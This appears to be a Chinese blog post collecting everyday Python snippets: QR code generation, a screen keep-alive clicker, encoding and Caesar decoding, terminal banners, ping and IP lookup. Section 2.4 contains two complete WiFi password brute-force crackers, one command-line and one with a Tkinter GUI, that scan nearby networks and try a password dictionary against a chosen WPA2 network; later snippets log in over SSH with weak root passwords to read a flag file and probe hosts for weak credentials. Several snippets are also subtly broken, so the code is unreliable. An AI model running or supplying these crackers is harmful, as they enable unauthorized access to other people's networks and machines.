壹 说明
该文章主要记录平时工作或者生活中经常使用的Python
小脚本。
贰 小脚本
2.1 生成二维码
# 生成指定URL或者文字二维码
# 不带图片
# pip install qrcode
import qrcode
text = input("输入文字或URL:")
# 设置URL必须添加http://
img =qrcode.make(text)
img.save("./img.png")
#保存图片至本地目录,可以设定路径
img.show()
# 生成指定URL或者文字二维码
# 带图片
# pip install myqr
from MyQR import myqr
import os
def gakki_code():
version, level, qr_name = myqr.run(
# 二维码存储的东西,可以是字符串,也可以是网址(前面要加http(s)://)
words="https://www.baidu.com",
version=1, # 设置容错率为最高
# 控制纠错水平,范围是L、M、Q、H,从左到右依次升高
level='H',
# 将二维码和图片合成
picture=r"D:\Desktop\1.jpg",
colorized=True, # 彩色二维码
# 用以调节图片的对比度,1.0 表示原始图片,更小的值表示更低对比度,更大反之。默认为1.0
contrast=1.0,
# 用来调节图片的亮度,其余用法和取值同上
brightness=1.0,
# 保存文件的名字,格式可以是jpg,png,bmp,gif
save_name=r"D:\Desktop\gakki_code.gif",
save_dir=os.getcwd() # 控制位置
)
gakki_code()
2.2 保持屏幕存活
import pyautogui
import time
# 调用在执行动作后暂停的秒数,只能在执行一些pyautogui动作后才能使用,建议用time.sleep
pyautogui.PAUSE = 1
# 启用自动防故障功能,左上角的坐标为(0,0),将鼠标移到屏幕的左上角,来抛出failSafeException异常
pyautogui.FAILSAFE = False
while True:
# 在像素200,200处点击
pyautogui.click(500, 500, 1)
# 移动到像素100,100处需要两秒
pyautogui.moveTo(1000,500, 2)
# 停止5秒
time.sleep(5)
2.3 获取当前目录
# -*- coding: utf-8 -*-
import os
def listdir(path, list_name): #传入存储的list
for file in os.listdir(path):
file_path = os.path.join(path, file)
if os.path.isdir(file_path):
listdir(file_path, list_name)
else:
list_name.append(file_path)
return list_name
a = list()
b = listdir('./',a)
for i in b:
print(i.split("./", 1)[1])
2.4 python之wifi破解
import pywifi
import time
from pywifi import const
# WiFi扫描模块
def wifi_scan():
# 初始化wifi
wifi = pywifi.PyWiFi()
# 使用第一个无线网卡
interface = wifi.interfaces()[0]
# 开始扫描
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
print('\r扫描完成!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
# 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
bss = interface.scan_results()
# 存放wifi名的集合
wifi_name_set = set()
for w in bss:
# 解决乱码问题
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# 存入列表并按信号排序
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# 格式化输出
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
# 返回wifi列表
return wifi_name_list
# WIFI破解模块
def wifi_password_crack(wifi_name):
# 字典路径
wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
with open(wifi_dic_path, 'r') as f:
# 遍历密码
for pwd in f:
# 去除密码的末尾换行符
pwd = pwd.strip('\n')
# 创建wifi对象
wifi = pywifi.PyWiFi()
# 创建网卡对象,为第一个wifi网卡
interface = wifi.interfaces()[0]
# 断开所有wifi连接
interface.disconnect()
# 等待其断开
while interface.status() == 4:
# 当其处于连接状态时,利用循环等待其断开
pass
# 创建连接文件(对象)
profile = pywifi.Profile()
# wifi名称
profile.ssid = wifi_name
# 需要认证
profile.auth = const.AUTH_ALG_OPEN
# wifi默认加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifi密码
profile.key = pwd
# 删除所有wifi连接文件
interface.remove_all_network_profiles()
# 设置新的wifi连接文件
tmp_profile = interface.add_network_profile(profile)
# 开始尝试连接
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
if interface.status() == 4:
print(f'\r连接成功!密码为:{pwd}')
exit(0)
else:
print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
# 主函数
def main():
# 退出标致
exit_flag = 0
# 目标编号
target_num = -1
while not exit_flag:
try:
print('WiFi万能钥匙'.center(35, '-'))
# 调用扫描模块,返回一个排序后的wifi列表
wifi_list = wifi_scan()
# 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('请选择你要尝试破解的wifi:'))
# 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
if target_num in range(len(wifi_list)):
# 二次确认
while not choose_exit_flag:
try:
choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
# 对用户输入进行小写处理,并判断
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# 处理用户其它字母输入
else:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
# 处理用户非字母输入
except ValueError:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
# 退出破解
if choose_exit_flag == 1:
break
else:
print('请重新输入哦(*^▽^*)')
except ValueError:
print('只能输入数字哦o(* ̄︶ ̄*)o')
# 密码破解,传入用户选择的wifi名称
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()
图形库
from tkinter import *
from pywifi import const
import pywifi
import time
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
def wificonnect(str, wifiname):
# 窗口无线对象
wifi = pywifi.PyWiFi()
# 抓取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有的wifi
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
# 创建wifi连接文件
profile = pywifi.Profile()
profile.ssid = wifiname
# wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# wifi的密码
profile.key = str
# 网卡的开发
profile.auth = const.AUTH_ALG_OPEN
# 加密单元,这里需要写点加密单元否则无法连接
profile.cipher = const.CIPHER_TYPE_CCMP
# 删除所有的wifi文件
ifaces.remove_all_network_profiles()
# 设置新的连接文件
tep_profile = ifaces.add_network_profile(profile)
# 连接
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
# 获取wiif名称
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
# 读取
mystr = file.readline().strip()
# 测试连接
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, '密码正确' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, '密码错误' + mystr)
text.see(END)
text.update()
except:
continue
# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称:')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()
2.5 匹配当前文件夹的所有文件的名字
import os
import re
def listdir(path): #传入存储的list
return os.listdir(path)
filelist = listdir('./')
for i in filelist:
# url_list = re.findall(r'"objURL":"(http.*?)"', r.text)
date = re.findall(r"[0-9].*?\.(.*?)\.pptx.*?",i)
print("{}".format(date[0]))
2.6 二进制转成字符串
res = "01110100011001010111001101110100"
for i in range(0,len(res), 8):
current = res[i:i+8]
dec = int(current, 2)
strr+=chr(dec)
print(strr)
2.7 base编码
import base64
a=b"4B3550444F505A4C4D52585734564A474B355644515633514B5A4658453233514B59374732554A584B5936574132444E4B5A46544D5933344B5A5146515232464A424E464B58333449343646343D3D3D"
# base64.b64encode为base64编码
# base64.b64decode为base64编码
# base64.b16decode为base16解码
# base64.b32decode为base32解码
# base64.b85decode为base85解码
print(base64.b85decode(base64.b32decode(base64.b16decode(a))))
2.8 凯撒密码
s = "4H3550444L505G4I4J52585734564G474H355644515633514H5G4658453233514H59374732554G584H5936574132444K4H5G46544J5933344H5G5146515232464G424K464H58333449343646343J3J3J"
t = ""
for c in s:
if 'a' <= c <= 'z':
t += chr( ord('a') + ((ord(c)-ord('a')) + 20 )%26 )
elif 'A' <= c <= 'Z':
t += chr( ord('A') + ((ord(c)-ord('A')) + 20 )%26 )
else:
t += c
print(t)
2.9 python随机字符串
import string
import random
# 字符串
data = string.ascii_letters+string.digits
# 随机长度k (1<= k <=32)
random_length = random.randint(1, 32)
random_string = ''.join(random.sample(data, random_length))
print(random_string)
2.10 如何关闭warning的输出
import warnings
warnings.filterwarnings("ignore")
2.11 Ctrl+c退出进程异常
try:
print("测试")
except KeyboardInterrupt:
print("\033[31;1m[-]\033[0m 错误信息为:{}".format("您进行了Ctrl+C操作,程序将强制退出运行!"))
sys.exit()
2.12 标志颜色
# 天蓝色
MAIN = '\033[38;5;50m'
# 绿色
PLOAD = '\033[38;5;119m'
GREEN = '\033[38;5;47m'
# 蓝色
BLUE = '\033[0;38;5;12m'
# 橙色
ORANGE = '\033[0;38;5;214m'
# 红色
RED = '\033[1;31m'
# 结束白色
END = '\033[0m'
BOLD = '\033[1m'
def print_banner(numList):
# 设置空列表
banner = list()
for num in numList:
# 定义英文字母的形状
if num == 'A' or num == 'a':
banner.append([[' ', '┌','─','┐'], [' ', '├','─','┤'], [' ', '┴',' ','┴']])
elif num == 'B' or num == 'b':
banner.append([[' ', '┌','─','╮'], [' ', '├','─','┤'], [' ', '└','─','╯']])
elif num == 'C' or num == 'c':
banner.append([[' ', '┌','─','╮'], [' ', '│',' ',' '], [' ', '└','─','╯']])
elif num == 'D' or num == 'd':
banner.append([[' ', '┌','─','╮'], [' ', '│',' ','│'], [' ', '└','─','╯']])
elif num == 'E' or num == 'e':
banner.append([[' ', '┌','─','┐'], [' ', '├','┤',' '], [' ', '└','─','┘']])
elif num == 'F' or num == 'f':
banner.append([[' ', '┌','─','┐'], [' ', '├','┤',' '], [' ', '┴',' ',' ']])
elif num == 'G' or num == 'g':
banner.append([[' ', '┌','─','╮'], [' ', '│','┌','┐'], [' ', '└','─','┘']])
elif num == 'H' or num == 'h':
banner.append([[' ', '┬',' ','┬'], [' ', '├','─','┤'], [' ', '┴',' ','┴']])
elif num == 'I' or num == 'i':
banner.append([[' ', '┬'], [' ', '│'], [' ', '┴']])
elif num == 'J' or num == 'j':
banner.append([[' ', ' ',' ','┬'], [' ', '┬',' ','│'], [' ', '└','─','┘']])
elif num == 'K' or num == 'k':
banner.append([[' ', '┬','┌','─'], [' ', '├','┤',' '], [' ', '┴','└','─']])
elif num == 'L' or num == 'l':
banner.append([[' ', '┬',' ',' '], [' ', '│',' ',' '], [' ', '┴','─','┘']])
elif num == 'M' or num == 'm':
banner.append([[' ', '┌','┬','┐'], [' ', '│','┴','│'], [' ', '┴',' ','┴']])
elif num == 'N' or num == 'n':
banner.append([[' ', '┌','┐',' ','┬'], [' ', '│','└','┐', '│'], [' ', '┴',' ','└','┘']])
elif num == 'O' or num == 'o':
banner.append([[' ', '┌','─','┐'], [' ', '│',' ','│'], [' ', '└','─','┘']])
elif num == 'P' or num == 'p':
banner.append([[' ', '┌','─','╮'], [' ', '├','─','╯'], [' ', '┴',' ',' ']])
elif num == 'Q' or num == 'q':
banner.append([[' ', '┌','─','┐'], [' ', '│',' ','│'], [' ', '└','─','╮']])
elif num == 'R' or num == 'r':
banner.append([[' ', '┌','─','╮'], [' ', '├','┬','╯'], [' ', '┴','└',' ']])
elif num == 'S' or num == 's':
banner.append([[' ', '┌','─','┐'], [' ', '└','─','┐'], [' ', '└','─','┘']])
elif num == 'T' or num == 't':
banner.append([[' ', '┌','┬','┐'], [' ', ' ','│',' '], [' ', ' ','┴',' ']])
elif num == 'U' or num == 'u':
banner.append([[' ', '┬',' ','┬'], [' ', '│',' ','│'], [' ', '└','─','┘']])
elif num == 'V' or num == 'v':
banner.append([[' ', '┬',' ','┬'], [' ', '│',' ','│'], [' ', '└','┬','┘']])
elif num == 'W' or num == 'w':
banner.append([[' ', '┬',' ','┬'], [' ', '│','┬','│'], [' ', '└','┴','┘']])
elif num == 'X' or num == 'x':
banner.append([[' ', '─','┐',' ','┬'], [' ', '┌','┴','┬', '┘'], [' ', '┴',' ','└','─']])
elif num == 'Y' or num == 'y':
banner.append([[' ', '┬',' ','┬'], [' ', '└','┬','┘'], [' ', ' ','┴',' ']])
elif num == 'Z' or num == 'z':
banner.append([[' ', '┌','─','┐'], [' ', '┌','─','┘'], [' ', '└','─','┘']])
else:
pass
# 添加字符
final = list()
# 设置颜色
init_color = 36
txt_color = init_color
# 用于计数
cl = 0
# 每个字母由三列数组组成
for charset in range(0, 3):
# 获取banner的个数,就是要输出的字母
for pos in range(0, len(banner)):
# 循环字母的内容
for i in range(0, len(banner[pos][charset])):
# 设置颜色
clr = f'\033[38;5;{txt_color}m'
char = f'{clr}{banner[pos][charset][i]}'
# 添加字符
final.append(char)
cl += 1
txt_color = txt_color + 36 if cl <= 3 else txt_color
cl = 0
txt_color = init_color
init_color += 31
# 设置输出行数
if charset < 2:
final.append('\n')
print(f"{''.join(final)}")
print(f"{END}by A7cc\n")
print(print_banner("abcde"))
2.13 ssh执行命令
import paramiko,time
# 创建SSHClient 实例对象
ssh = paramiko.SSHClient()
# 设置信任远程机器,允许访问
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# ssh连接远程机器,参数为 地址、端口、用户名、密码
ssh.connect("10.10.10.2", 22, "root", "123456")
# exec_command函数是执行命令,例如下面创建目录 text
printin, printout, printerr = ssh.exec_command('cat /flag.txt')
# 将输出和错拼接再打印出来
print(printout.read())
time.sleep(0)
# 关闭ssh连接
ssh.close()
2.14 检测ssh服务是否存在
import paramiko,time
ips = ["192.168.239.143"]
ports = ["22"]
for i in range(len(ips)):
# 创建SSHClient 实例对象
ssh = paramiko.SSHClient()
# 设置信任远程机器,允许访问
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
error = "true"
# ssh连接远程机器,参数为 地址、端口、用户名、密码
try:
ssh.connect(ips[i], ports[i], "root", "root",timeout=1)
except Exception as errmsg:
error = str(errmsg)
if "Authentication failed" in error:
print('\033[38;5;47m'+ips[i]+'该设备ssh服务存在!\033[0m')
elif "ture" in error:
print('\033[38;5;47m'+ips[i]+'该设备ssh服务弱口令:root!\033[0m')
else:
print('\033[1;31m'+ips[i]+'该设备ssh服务不存在!\033[0m')
time.sleep(0)
# 关闭ssh连接
ssh.close()
2.15 检测py版本
# 检测py版本
pyversion = sys.version.split()[0]
if pyversion >= "3" or pyversion < "2.7":
exit('需要安装 python version 2.6.x 或者 2.7.x')
2.16 提示安装对应库
try:
import requests
except:
print('pip install requests[security]')
os._exit(0)
2.17 ping测试
# ping
def ceshi_ping(ip):
top = False
try:
ping = os.popen("ping {} -n 2".format(ip))
line = ping.read()
# print(line)
if "的回复: 字节" in line:
print('\033[32;1m[+]\033[0m IP{}连接成功!'.format(ip))
top = True
else:
print('\033[31;1m[-]\033[0m IP{}连接失败。。。'.format(ip))
top = False
except KeyboardInterrupt:
print("\033[31;1m[-]\033[0m 错误信息为:{}".format("您进行了Ctrl+C操作,程序将强制退出运行!"))
sys.exit()
except BaseException as err: #建议在是所有异常最后添加exceptcBaseException异常处理,对剩余异常一次做处理
print("\033[31;1m[-]\033[0m 错误信息为:{}".format(err))
top = False
return top
2.18 获取当前主机IP
import requests,re
# 主代码
def getIP():
# 用的是900查询获取的,所以可能会变动
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400'}
html = requests.get('https://ip.900cha.com/',headers=headers)
data = re.findall('准确归属地: (.*)',html.text)
print(data)
getIP()
或者
# python获取客户端ip
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
host = ('0.0.0.0', 8000)
class Request(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({'ip':self.client_address[0]}).encode())
if __name__ == '__main__':
server = HTTPServer(host, Request)
print("[+] Starting server, listen at {}:{}".format(host[0], host[1]))
server.serve_forever()
2.19 截取文件指定字节
def extract_file(src, dst, beg, end):
# 打开原始文件
f = open(src, "rb")
# 移动文件指针到写入后文件的起始位置
f.seek(beg)
# 读取写入后文件的数据
data = f.read(end - beg)
# 关闭文件
f.close()
# 打开目标文件
f = open(dst, "wb")
# 写入后文件的数据
f.write(data)
# 保存文件
f.close()
if __name__ == "__main__":
extract_file("残缺flag.png", "res.jpg", 0xB14,0xA0AB)
2.20 实时获取文件变化的内容
import json,time
filename = "nginx.txt"
try:
# 读取文件
with open(filename,'r+') as f:
# 将文件指针跳转到末尾
f.seek(0,2)
# 不断循环获取最后一段
while True:
# 读取更新后的文字
line = f.readline().strip().replace('\\','_', -1)
# 判断字符串是否为空,当然也可以不用判断,但是如果需要进行json转换的话,由于系统会默认添加一个换行符,在进行转换是出现转换错误,加上会存在\反义字符,所以才增加了这个判断
if line != "":
# # 反序列化
# cliendatas = json.loads(line)
# print(cliendatas)
print(line)
# while一直读文件,比较耗性能,设置1秒停止
time.sleep(1)
except BaseException as err: #建议在是所有异常最后添加exceptcBaseException异常处理,对剩余异常一次做处理
print("\033[31;1m[-]\033[0m 错误信息为:{}".format(err))
2.21 实时将文件数据存储到mysql中
import pymysql
connect=pymysql.connect(
host='127.0.0.1',
port=3306,
user='root',
password='mysql111',
database='log',
charset="utf8"
)
cur = connect.cursor()
sql = "insert into log(host,ip) values(%s,%s)"
with open("access.log","r") as f:
for line in f.readlines():
line = line.strip()
cur.execute(sql,(line[0],line[1]))
connect.commit()
connect.close()
2.22 模拟人打开浏览器访问网页
import webbrowser
url = [
"https://www.docin.com/p-733844220.html",
"https://www.docin.com/p-1541967707.html",
"https://wenku.so.com/d/7b021fe0949d251753f995d5bca18404",
"https://wenku.so.com/d/431935a0bc230860b8e5778b700e4bfd",
"https://wenku.so.com/d/c49b766bb2b169528d0bfdbae65969d8",
"https://www.doc88.com/p-996392114875.html",
"https://www.docin.com/p-682921701.html",
"https://www.docin.com/p-666416168.html",
"https://www.docin.com/p-1570479841.html",
"https://www.docin.com/p-1547971618.html",
"https://www.docin.com/p-1491573014.html",
"https://www.docin.com/p-1521764684.html",
"https://www.docin.com/p-569323483.html",
"https://ishare.iask.sina.com.cn/f/2ZaoDMQGPYk.html",
"https://ishare.iask.sina.com.cn/f/ivQSrafWMj.html",
"https://ishare.iask.sina.com.cn/f/33hHsot9Fen.html",
"https://ishare.iask.sina.com.cn/f/iVm1GpWFoj.html",
"https://ishare.iask.sina.com.cn/f/35CJE42aeRc.html",
]
for i in range(len(url)):
webbrowser.open(url[i])
2.23 计算哈希
import mmh3,sys,codecs,requests
url = "https://test.com/favicon.ico"
r = requests.get(url,verify = False)
print(mmh3.hash(codecs.encode(r.content,"base64")))